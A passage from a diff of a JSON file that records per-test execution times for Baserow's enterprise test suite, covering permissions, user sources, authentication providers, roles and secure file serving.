"baserow_enterprise_tests/enterprise/test_enterprise_migrations.py::test_0010_with_no_role_and_no_access_only_no_access_assignments": 9.89513508899995, "baserow_enterprise_tests/enterprise/test_enterprise_migrations.py::test_0010_with_no_role_and_no_access_only_no_role_assignments": 10.667945551999992, "baserow_enterprise_tests/enterprise/test_enterprise_migrations.py::test_0010_with_no_role_without_no_access": 9.482422367000254, - "baserow_enterprise_tests/fields/test_link_row_field_rbac.py::test_cant_create_lookup_at_table_where_not_viewer_or_higher": 0.5149174999987736, - "baserow_enterprise_tests/fields/test_link_row_field_rbac.py::test_cant_update_target_lookup_point_at_table_where_not_viewer_or_higher": 0.5406202500016661, - "baserow_enterprise_tests/fields/test_link_row_field_rbac.py::test_link_row_field_linked_to_table_with_no_access_created": 0.2842551239991735, - "baserow_enterprise_tests/fields/test_link_row_field_rbac.py::test_link_row_field_linked_to_table_with_no_access_deleted": 0.4555547080008182, - "baserow_enterprise_tests/fields/test_link_row_field_rbac.py::test_link_row_field_linked_to_table_with_no_access_from_inaccessible_to_accessable_table": 0.4632329590003792, - "baserow_enterprise_tests/fields/test_link_row_field_rbac.py::test_link_row_field_linked_to_table_with_no_access_updated": 0.34279104200049915, - "baserow_enterprise_tests/integrations/local_baserow/test_auth_provider_types.py::test_create_local_baserow_password_app_auth_provider_w_field": 0.3179023340007916, - "baserow_enterprise_tests/integrations/local_baserow/test_auth_provider_types.py::test_create_local_baserow_password_app_auth_provider_w_wrong_field_id": 0.3351198749987816, - "baserow_enterprise_tests/integrations/local_baserow/test_auth_provider_types.py::test_create_local_baserow_password_app_auth_provider_w_wrong_field_type": 0.30994345899944165, - "baserow_enterprise_tests/integrations/local_baserow/test_auth_provider_types.py::test_import_local_baserow_password_app_auth_provider": 0.16134395900007803, - "baserow_enterprise_tests/integrations/local_baserow/test_auth_provider_types.py::test_local_baserow_password_app_auth_provider_after_user_source_update": 0.31977133300097194, - "baserow_enterprise_tests/integrations/local_baserow/test_auth_provider_types.py::test_local_baserow_token_auth": 0.8301702500002648, - "baserow_enterprise_tests/integrations/local_baserow/test_auth_provider_types.py::test_local_baserow_user_source_authentication_improperly_configured": 0.6836339170013161, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_create_local_baserow_user_source": 0.6955081260002771, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_create_local_baserow_user_source_w_a_missing_table": 0.6816750000007232, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_create_local_baserow_user_source_w_a_password_auth_source": 0.7215433349983869, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_create_local_baserow_user_source_w_auth_providers": 0.6907570840003245, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_create_local_baserow_user_source_w_two_password_auth_source": 0.7079740419994778, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_create_local_baserow_user_source_w_wrong_field_ids": 0.7202995829993597, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_create_local_baserow_user_source_wrong_field_type": 0.7084027920000153, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_create_user_source_field_from_other_table": 0.6021215840009972, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_create_user_source_table_from_other_workspace": 0.5638199590002841, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_export_user_source": 0.6807882080001946, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_default_role_if_role_field_is_null": 1.0766215009998632, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_empty_list_if_table_is_trashed": 1.1086272089996783, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_expected_roles[user_roles0-expected_roles0]": 0.4154323749989999, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_expected_roles[user_roles1-expected_roles1]": 0.4208939179998197, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_expected_roles[user_roles2-expected_roles2]": 0.42226862400002574, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_expected_roles[user_roles3-expected_roles3]": 0.4230684590011151, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_expected_roles[user_roles4-expected_roles4]": 0.42694637499971577, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_expected_roles[user_roles5-expected_roles5]": 0.41959037500055274, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_expected_roles[user_roles6-expected_roles6]": 0.4187578749997556, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_single_select_roles[roles0-expected_roles0]": 1.0831195410000873, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_single_select_roles[roles1-expected_roles1]": 1.0814459170005648, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_single_select_roles[roles2-expected_roles2]": 1.0827859589999207, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_user_role_returns_default_role": 1.078834416999598, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_user_role_returns_empty_string_from_single_select_field": 1.0834417079995546, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_user_role_returns_role_from_single_select_field": 1.0885627509996993, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_user_role_returns_role_from_text_field": 1.0953348330003791, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_user_sources": 0.6982888760003334, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_import_local_baserow_user_source": 0.5551240410004539, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_authentication": 1.3736812090000967, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_authentication_bad_creds": 1.2345408339988353, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_authentication_improperly_configured": 1.080689127000369, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_authentication_is_configured": 0.4009960420007701, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_authentication_list_users": 1.1037982099996952, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_authentication_list_users_not_configured": 1.0705002090007838, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_authentication_missing_auth_provider": 1.081507042999874, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_get_user": 1.0943067930002144, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_get_user_fails": 1.146952916000373, + "baserow_enterprise_tests/fields/test_link_row_field_rbac.py::test_cant_create_lookup_at_table_where_not_viewer_or_higher": 0.37498712399974465, + "baserow_enterprise_tests/fields/test_link_row_field_rbac.py::test_cant_update_target_lookup_point_at_table_where_not_viewer_or_higher": 0.5126708330062684, + "baserow_enterprise_tests/fields/test_link_row_field_rbac.py::test_link_row_field_linked_to_table_with_no_access_created": 0.1679185819812119, + "baserow_enterprise_tests/fields/test_link_row_field_rbac.py::test_link_row_field_linked_to_table_with_no_access_deleted": 0.3004099999961909, + "baserow_enterprise_tests/fields/test_link_row_field_rbac.py::test_link_row_field_linked_to_table_with_no_access_from_inaccessible_to_accessable_table": 0.29110662499442697, + "baserow_enterprise_tests/fields/test_link_row_field_rbac.py::test_link_row_field_linked_to_table_with_no_access_updated": 0.2434748740051873, + "baserow_enterprise_tests/integrations/common/saml/test_common_saml_views.py::test_builder_saml_assertion_consumer_service": 0.7580551240243949, + "baserow_enterprise_tests/integrations/common/saml/test_common_saml_views.py::test_builder_saml_baserow_initiated_login_view": 0.6141599160037003, + "baserow_enterprise_tests/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_dispatch_data_with_protected_table_field": 0.31629137400886975, + "baserow_enterprise_tests/integrations/local_baserow/test_auth_provider_types.py::test_create_local_baserow_password_app_auth_provider_w_field": 0.2998685829807073, + "baserow_enterprise_tests/integrations/local_baserow/test_auth_provider_types.py::test_create_local_baserow_password_app_auth_provider_w_wrong_field_id": 0.3152735000185203, + "baserow_enterprise_tests/integrations/local_baserow/test_auth_provider_types.py::test_create_local_baserow_password_app_auth_provider_w_wrong_field_type": 0.2686942080326844, + "baserow_enterprise_tests/integrations/local_baserow/test_auth_provider_types.py::test_import_local_baserow_password_app_auth_provider": 0.17240962400683202, + "baserow_enterprise_tests/integrations/local_baserow/test_auth_provider_types.py::test_import_local_baserow_password_app_auth_provider_without_database": 0.16105704198707826, + "baserow_enterprise_tests/integrations/local_baserow/test_auth_provider_types.py::test_local_baserow_password_app_auth_provider_after_user_source_update": 0.3622345409821719, + "baserow_enterprise_tests/integrations/local_baserow/test_auth_provider_types.py::test_local_baserow_token_auth": 0.6704389590013307, + "baserow_enterprise_tests/integrations/local_baserow/test_auth_provider_types.py::test_local_baserow_user_source_authentication_improperly_configured": 0.535362416994758, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test__generate_update_user_count_cache_key": 0.26125420900643803, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test__generate_update_user_count_cache_value": 0.2900865010160487, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_create_local_baserow_user_source": 0.5109761669882573, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_create_local_baserow_user_source_w_a_missing_table": 0.4791337499918882, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_create_local_baserow_user_source_w_a_password_auth_source": 0.5432870000367984, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_create_local_baserow_user_source_w_auth_providers": 0.48768837601528503, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_create_local_baserow_user_source_w_two_password_auth_source": 0.49057308299234137, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_create_local_baserow_user_source_w_wrong_field_ids": 0.4997390839853324, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_create_local_baserow_user_source_wrong_field_type": 0.5562912930035964, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_create_user_source_field_from_other_table": 0.49418824998429045, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_create_user_source_table_from_other_workspace": 0.4046290840196889, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_export_user_source": 0.4812392499879934, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_default_role_if_role_field_is_null": 0.7609141659922898, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_empty_list_if_role_type_unsupported[False-expected_roles1]": 0.8320529589836951, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_empty_list_if_role_type_unsupported[True-expected_roles0]": 0.8156303750001825, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_empty_list_if_table_is_trashed": 0.765319583035307, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_expected_roles[user_roles0-expected_roles0]": 0.30681666600867175, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_expected_roles[user_roles1-expected_roles1]": 0.30291720796958543, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_expected_roles[user_roles2-expected_roles2]": 0.29861554101807997, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_expected_roles[user_roles3-expected_roles3]": 0.3004645830078516, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_expected_roles[user_roles4-expected_roles4]": 0.2979092500463594, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_expected_roles[user_roles5-expected_roles5]": 0.2906086669827346, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_expected_roles[user_roles6-expected_roles6]": 0.2968725419486873, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_single_select_roles[roles0-expected_roles0]": 0.7668685000098776, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_single_select_roles[roles1-expected_roles1]": 0.7829381659976207, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_roles_returns_single_select_roles[roles2-expected_roles2]": 0.7879309999698307, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_user_role_handles_empty_role_field[-]": 0.7745637079933658, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_user_role_handles_empty_role_field[None-]": 0.7673050419834908, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_user_role_handles_empty_role_field[foo_role-foo_role]": 0.7640201260219328, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_user_role_returns_default_role": 0.7811656659760047, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_user_role_returns_empty_string_from_single_select_field": 0.7459674160054419, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_user_role_returns_role_from_formula_field_date_field": 0.7853987090056762, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_user_role_returns_role_from_formula_multiple_select_field": 0.8600897919677664, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_user_role_returns_role_from_single_select_field": 0.7772804169799201, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_user_role_returns_role_from_text_field": 0.7787160419975407, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_get_user_sources": 0.5244616669951938, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_import_local_baserow_user_source": 0.4000128740153741, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_import_local_baserow_user_source_with_missing_fields[database_fields-email_field_id]": 0.4077697070024442, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_import_local_baserow_user_source_with_missing_fields[database_fields-name_field_id]": 0.4129657080047764, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_import_local_baserow_user_source_with_missing_fields[database_fields-role_field_id]": 0.40602800002670847, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_import_local_baserow_user_source_with_missing_fields[database_tables-table_id]": 0.40833262298838235, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_after_user_source_update_requires_user_recount": 0.26654779197997414, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_authentication": 0.975696499022888, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_authentication_bad_creds": 0.8857857089897152, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_authentication_improperly_configured": 0.7565031670092139, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_authentication_is_configured": 0.7741596249688882, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_authentication_list_users": 0.7993555419961922, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_authentication_list_users_get_user_model_misconfiguration": 0.7813014160201419, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_authentication_list_users_not_configured": 0.7704859170189593, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_authentication_missing_auth_provider": 0.7731507089920342, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_create_user": 0.7928817899955902, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_create_user_bad_configuration": 0.7627913750184234, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_get_user": 0.7371632079884876, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_get_user_fails": 0.7956957919814158, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_get_user_is_case_insensitive[FOO@BAR.COM]": 0.7575777920137625, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_get_user_is_case_insensitive[FOO@bar.com]": 0.7929100849723909, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_get_user_is_case_insensitive[Foo@bar.com]": 0.7672964179655537, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_get_user_is_case_insensitive[foo@BAR.com]": 0.7774055000045337, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_get_user_is_case_insensitive[foo@Bar.com]": 0.7877635839977302, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_get_user_is_case_insensitive[foo@bar.COM]": 0.7235315419966355, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_get_user_is_case_insensitive[foo@bar.Com]": 0.8143289150029887, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_get_user_is_case_insensitive[foo@bar.com]": 0.7693772079946939, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_get_user_misconfigured": 0.7876922489958815, + "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_get_user_model_with_trashed_table": 0.3700244989886414, "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_get_user_not_configured": 1.0944825420001507, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_get_user_with_duplicate": 1.157494542000677, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_local_baserow_user_source_token_generation": 0.5720828759995129, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_doesnt_exist": 0.4138483330007148, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_id_mismatch": 0.42818445800003246, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_autonumber_field]": 0.4192197499996837, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_boolean_field]": 0.41271612600030494, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_created_by_field]": 0.4167827080000279, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_created_on_field]": 0.40863645900026313, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_date_field]": 0.4126670830000876, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_duration_field]": 0.4142561239996212, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_email_field]": 0.41141970900025626, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_file_field]": 0.41777962499963905, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_last_modified_by_field]": 0.4169404989997929, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_last_modified_field]": 0.41146904200013523, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_link_row_field]": 0.4300407490009093, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_long_text_field]": 0.41362162600034935, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_lookup_field]": 0.41525312599969766, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_multiple_collaborators_field]": 0.42401108400008525, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_multiple_select_field]": 0.424338916999659, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_number_field]": 0.43113337499926274, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_password_field]": 0.4120962500010137, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_phone_number_field]": 0.4142815840014009, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_rating_field]": 0.42298104200017406, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_url_field]": 0.4125961659992754, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_field_type_wrong[create_uuid_field]": 0.4131020830000125, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_raises_if_no_table_to_check": 1.069840333000684, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_returns_empty_values_if_role_field_id_is_none[create_formula_field]": 0.5392941249992873, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_returns_empty_values_if_role_field_id_is_none[create_single_select_field]": 0.5289979169992876, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_returns_empty_values_if_role_field_id_is_none[create_text_field]": 0.543533707998904, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_returns_values[create_formula_field]": 0.42658162400039146, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_returns_values[create_single_select_field]": 0.41352966700014804, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_role_field_id_returns_values[create_text_field]": 0.41202308399988397, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_prepare_values_sets_role_field_to_none": 0.43104450100054237, - "baserow_enterprise_tests/integrations/local_baserow/test_user_source_types.py::test_public_dispatch_data_source_with_ab_user_using_user_source": 0.7685435419998612, - "baserow_enterprise_tests/role/test_permissions_updated_signal.py::test_permissions_updated_signal_role_assignment_created": 0.43217204099892115, - "baserow_enterprise_tests/role/test_permissions_updated_signal.py::test_permissions_updated_signal_role_assignment_deleted": 0.4300813760000892, - "baserow_enterprise_tests/role/test_permissions_updated_signal.py::test_permissions_updated_signal_role_assignment_updated": 0.4314650820015231, - "baserow_enterprise_tests/role/test_permissions_updated_signal.py::test_permissions_updated_signal_role_many_users": 3.0122501269997883, - "baserow_enterprise_tests/role/test_permissions_updated_signal.py::test_permissions_updated_signal_role_team_restored": 0.45286016699719767, - "baserow_enterprise_tests/role/test_permissions_updated_signal.py::test_permissions_updated_signal_role_team_trashed": 0.4380833339982928, - "baserow_enterprise_tests/role/test_permissions_updated_signal.py::test_permissions_updated_signal_role_workspace_level_permissions_updated": 0.42710824999994657, - "baserow_enterprise_tests/role/test_role_actions.py::test_batch_assign_role_description_for_one_item": 0.5214720009998928, - "baserow_enterprise_tests/role/test_role_actions.py::test_can_redo_batch_assign_role": 0.5994401250009105, - "baserow_enterprise_tests/role/test_role_actions.py::test_can_undo_batch_assign_role": 0.5688949169998523, - "baserow_enterprise_tests/role/test_role_handler.py::test_assign_role": 0.43787283299934643, - "baserow_enterprise_tests/role/test_role_handler.py::test_assign_role_batch_create_role_assignments": 0.4003511659993819, - "baserow_enterprise_tests/role/test_role_handler.py::test_assign_role_batch_delete_role_assignments": 0.4040911239999332, - "baserow_enterprise_tests/role/test_role_handler.py::test_assign_role_batch_delete_workspace_user": 0.3990445010003896, - "baserow_enterprise_tests/role/test_role_handler.py::test_assign_role_batch_performance": 0.00011591700058488641, - "baserow_enterprise_tests/role/test_role_handler.py::test_assign_role_batch_subject_not_in_workspace": 0.3896530000001803, - "baserow_enterprise_tests/role/test_role_handler.py::test_assign_role_batch_unrelated_workspace": 0.3818301670007713, - "baserow_enterprise_tests/role/test_role_handler.py::test_assign_role_batch_update_role_assignments": 0.39786137499959295, - "baserow_enterprise_tests/role/test_role_handler.py::test_assign_role_batch_workspace_level": 0.3956035829987741, - "baserow_enterprise_tests/role/test_role_handler.py::test_check_get_role_per_scope_performance": 0.00012266700014151866, - "baserow_enterprise_tests/role/test_role_handler.py::test_create_role_assignment": 0.3963440840007024, - "baserow_enterprise_tests/role/test_role_handler.py::test_create_role_assignment_unique_constraint": 0.2529415829994832, - "baserow_enterprise_tests/role/test_role_handler.py::test_get_current_role_assignment": 0.2685601240000324, - "baserow_enterprise_tests/role/test_role_handler.py::test_get_current_role_assignments": 0.5675330429994574, - "baserow_enterprise_tests/role/test_role_handler.py::test_get_role_assignments": 0.41784541600009106, - "baserow_enterprise_tests/role/test_role_handler.py::test_get_role_assignments_invalid_workspace_and_scope_combination": 0.3876296670005104, - "baserow_enterprise_tests/role/test_role_handler.py::test_get_role_assignments_trashed_teams": 0.2595655830000396, - "baserow_enterprise_tests/role/test_role_handler.py::test_get_role_per_scope_for_actors_perf": 0.00011295799959043507, - "baserow_enterprise_tests/role/test_role_handler.py::test_get_role_per_scope_per_actors": 0.7085976259995732, - "baserow_enterprise_tests/role/test_role_handler.py::test_get_roles_per_scope": 0.6862555829993653, - "baserow_enterprise_tests/role/test_role_handler.py::test_get_roles_per_scope_trashed_teams": 0.2780119589988317, - "baserow_enterprise_tests/role/test_role_handler.py::test_remove_role": 0.28801045900036115, - "baserow_enterprise_tests/role/test_role_handler.py::test_snapshot_with_roles_doesnt_cause_get_permission_objects": 0.576924625999709, - "baserow_enterprise_tests/role/test_role_member_data_type.py::test_roles_member_data_type": 1.2642401260000042, - "baserow_enterprise_tests/role/test_role_member_data_type.py::test_roles_member_data_type_doesnt_expose_to_users_without_read_role": 1.2501777509996828, - "baserow_enterprise_tests/role/test_role_permission_manager.py::test_all_operations_are_in_at_least_one_default_role": 0.12276966700028424, - "baserow_enterprise_tests/role/test_role_permission_manager.py::test_check_multiple_permissions": 0.7079531259996656, - "baserow_enterprise_tests/role/test_role_permission_manager.py::test_check_multiple_permissions_perf": 9.120900085690664e-05, - "baserow_enterprise_tests/role/test_role_permission_manager.py::test_check_permission_performance": 0.00011354100024618674, - "baserow_enterprise_tests/role/test_role_permission_manager.py::test_check_permissions": 2.3238289580003766, - "baserow_enterprise_tests/role/test_role_permission_manager.py::test_check_permissions_with_teams": 0.3598887920006746, - "baserow_enterprise_tests/role/test_role_permission_manager.py::test_filter_queryset": 1.4980187919991295, - "baserow_enterprise_tests/role/test_role_permission_manager.py::test_get_permissions_object": 1.5083780429977196, - "baserow_enterprise_tests/role/test_role_permission_manager.py::test_get_permissions_object_performance": 9.624999984225724e-05, - "baserow_enterprise_tests/role/test_role_permission_manager.py::test_get_permissions_object_with_database_and_table_level_permissions": 0.7763655009985087, - "baserow_enterprise_tests/role/test_role_permission_manager.py::test_get_permissions_object_with_teams": 0.6020218749981723, - "baserow_enterprise_tests/role/test_role_receivers.py::test_deletion_cascading_to_role_assignments": 0.9476093339990257, - "baserow_enterprise_tests/role/test_role_receivers.py::test_send_permissions_updated_only_if_permissions_were_updated": 0.38403425100023014, - "baserow_enterprise_tests/secure_file_serve/test_enterprise_file_storage.py::test_enterprise_storage_get_signed_file_path": 0.008207500000935397, - "baserow_enterprise_tests/secure_file_serve/test_enterprise_file_storage.py::test_enterprise_storage_sign_data": 0.007940791998407803, - "baserow_enterprise_tests/secure_file_serve/test_enterprise_file_storage.py::test_enterprise_storage_sign_data_with_workspace_id": 0.007616791999680572, - "baserow_enterprise_tests/secure_file_serve/test_enterprise_file_storage.py::test_enterprise_storage_unsign_data_with_invalid_payload": 0.007802249001542805, - "baserow_enterprise_tests/secure_file_serve/test_enterprise_file_storage.py::test_enterprise_storage_url": 0.007872499998484273, - "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_extract_file_info_or_raise_invalid_payload": 0.007522707999669365, - "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_extract_file_info_or_raise_non_existing_file": 0.01035854200108588, - "baserow_enterprise_tests/secure_file_serve/test_secure_file_serve_handler.py::test_secure_file_handler_extract_file_info_or_raise_staff_user_no_workspace": 0.14429583399942203, - 